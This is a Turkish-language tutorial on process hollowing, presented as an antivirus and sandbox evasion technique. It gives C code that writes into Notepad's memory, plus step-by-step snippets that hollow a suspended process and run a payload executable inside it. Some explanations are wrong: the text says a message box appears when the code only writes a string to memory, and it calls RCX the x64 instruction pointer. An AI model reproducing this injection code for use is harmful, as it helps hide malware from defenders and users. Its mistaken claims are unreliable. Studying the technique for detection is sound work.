BlackNullSec Path #8: Process Hollowing Nedir?
🚀 Amaç: Process Hollowing, yasal bir işlemin (örneğin svchost.exe gibi) belleği boşaltılarak, onun yerine kötü amaçlı bir PE (Portable Executable) dosyasının enjekte edilmesi işlemidir. Bu teknik, genellikle antivirüsleri kandırmak ve sandbox sistemlerinden kaçmak için tercih edilir.
1. Hedef işlem askıya alınmış olarak başlatılır.2. Bellekteki orijinal PE dosyası silinir.3. Yeni zararlı PE belleğe yazılır.4. Giriş noktası (EntryPoint) ayarlanır.5. Thread devam ettirilir.
Süreç
1. CreateProcess (Suspended)
Hedef işlem, CREATE_SUSPENDED bayrağı ile başlatılır. Bu, işlemin yürütülmeden duraklatılmış bir şekilde kalmasını sağlar.
CreateProcess(NULL, targetPath, ... , CREATE_SUSPENDED, ...);
2. ZwUnmapViewOfSection
Başlatılan işlemin içerisindeki orijinal executable (örn. explorer.exe) bellekten temizlenir.
ZwUnmapViewOfSection(processHandle, baseAddress);
3. VirtualAllocEx
Temizlenmiş belleğe yeni zararlı PE için hafıza ayrılır.
VirtualAllocEx(processHandle, baseAddress, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
4.WriteProcessMemory
Yeni zararlı PE (EXE) belleğe yazılır: headers + sectionlar ayrı ayrı yazılır.
WriteProcessMemory(processHandle, baseAddress, peHeaders, size, NULL);
5. SetThreadContext
Orijinal thread’in EIP/RIP (EntryPoint) kaydı, zararlı PE’nin giriş noktasına set edilir.
SetThreadContext(hThread, &ctx);
6. ResumeThread
İşlem devam ettirilir ve yürütme zararlı koddan başlar.
ResumeThread(hThread);
Notepad.exe içine payload yazma
Payload Notepad.exe içine yazılacak.Mesaj kutusu cıkacak +
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
int main() {
// 1. Kullanıcıdan hedef sürecin (örneğin notepad.exe) PID'sini alıyoruz
// PID: Process ID → her çalışan sürecin benzersiz numarasıdır
DWORD pid;
printf("Notepad PID gir: ");
scanf("%lu", &pid);
// 2. Hedef süreci açıyoruz
// PROCESS_ALL_ACCESS: süreci tam yetkiyle açmak istiyoruz
// FALSE: handle miras alınmasın (child process görmesin)
// pid: hedef süreç ID'si
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
// Eğer NULL dönerse işlem açılamamış demektir
// GetLastError() → Windows hata kodunu döner
printf("OpenProcess hatası! Kod: %d\n", GetLastError());
return 1;
}
// 3. Hedef sürecin içinde bellek ayırıyoruz
// NULL: Windows kendisi adres seçsin
// 1024: 1 KB bellek ayır
// MEM_COMMIT | MEM_RESERVE: belleği rezerve et ve commit et
// PAGE_READWRITE: okuma ve yazmaya izin ver
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteBuffer == NULL) {
printf("VirtualAllocEx hatası! Kod: %d\n", GetLastError());
return 1;
}
// 4. Yazmak istediğimiz mesaj
// Burada payload yerine sadece bir string kullanıyoruz (basit test için)
char msg[] = "Hello from injection!";
SIZE_T written;
// 5. Mesajı hedef sürecin belleğine yazıyoruz
// remoteBuffer: az önce ayırdığımız adres
// msg: yazmak istediğimiz data
// sizeof(msg): boyutu
// &written: kaç byte yazıldığını döndürür
if (!WriteProcessMemory(hProcess, remoteBuffer, msg, sizeof(msg), &written)) {
printf("WriteProcessMemory hatası! Kod: %d\n", GetLastError());
return 1;
}
printf("Belleğe yazıldı! Adres: %p\n", remoteBuffer);
// 6. İşimiz bitti → handle'ı kapatıyoruz
CloseHandle(hProcess);
return 0;
Bu teknikler yalnızca eğitim amaçlıdır ve "//" işaret yorum satırıdır burada girilen Notepad.exe'in pid numarasını giriyor ve "Hello from injection!"
kutucuk Mesaj kutusu olarak cıkıyor.Windows apı ile yazıldı Ntapı ilede yazılcak
🔍 DETAYLI KOD ANALİZİ
winternl.h > ZwUnmapViewOfSection gibi undocumented (dökümansız) API’lere erişmemizi sağlar. ntdll.lib > bu fonksiyon için gerekli kütüphane.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
Process Oluşturuluyor (Askıya Alınmış)
CREATE_SUSPENDED → Hedef işlem daha başlamadan durduruluyor. Böylece ilk kodlar çalıştırılmadan belleği boşaltma şansı buluyoruz.
CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
Payload PE Dosyasını Belleğe Al
ReadFile() ile payload.exe tamamen belleğe okunuyor. Daha sonra PE header'larıyla işlem yapılacak.
HANDLE hFile = CreateFileA(payloadPath, ...);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID fileBuffer = HeapAlloc(...);
ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
ZwUnmapViewOfSection ile Belleği Boşalt!
Notepad işlemindeki orijinal PE image (örneğin, Notepad’in .exe header’ları) sistemden çıkarılıyor. Boş bir process kalıyor: işlem başlatılmış ama içinde kod yok.
ZwUnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwUnmapViewOfSection");
ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBaseVA);
VirtualAllocEx ile Yeni Bellek Ayır
Payload’a uygun büyüklükte yeni memory alanı ayırıyor. Bu adres, eski image base ile aynıysa çok temiz olur — bazı DLL bağımlılıkları için gerekebilir.
imageBase = VirtualAllocEx(pi.hProcess, ..., ntHeaders->OptionalHeader.SizeOfImage, ...);
PE HEADERS ve SECTİONS Belleğe Yazılıyor
Burada PE’nin .text, .rdata, .data, .rsrc gibi section'ları hedef işlemin belleğine yazılır.
WriteProcessMemory(..., imageBase, fileBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
Entry Point Ayarlanıyor
x64 sistemlerde instruction pointer: RCX kullanılır. EntryPoint: PE’nin çalışmaya başlayacağı adres.
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD_PTR)((DWORD_PTR)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(pi.hThread, &ctx);
Thread Devam Ettiriliyor
Thread işleme başlar ama artık orijinal Notepad değil, payload’un entry point’inden başlar
ResumeThread(pi.hThread);
⚠️ Kritik Uyarı
Bu teknikler yalnızca eğitim amaçlıdır. Gerçek sistemlere uygulanması yasadışı olabilir. Asla gerçek ortamlarda test etme.
“Windows Belleğiyle Konuşan Kodlar”
hacker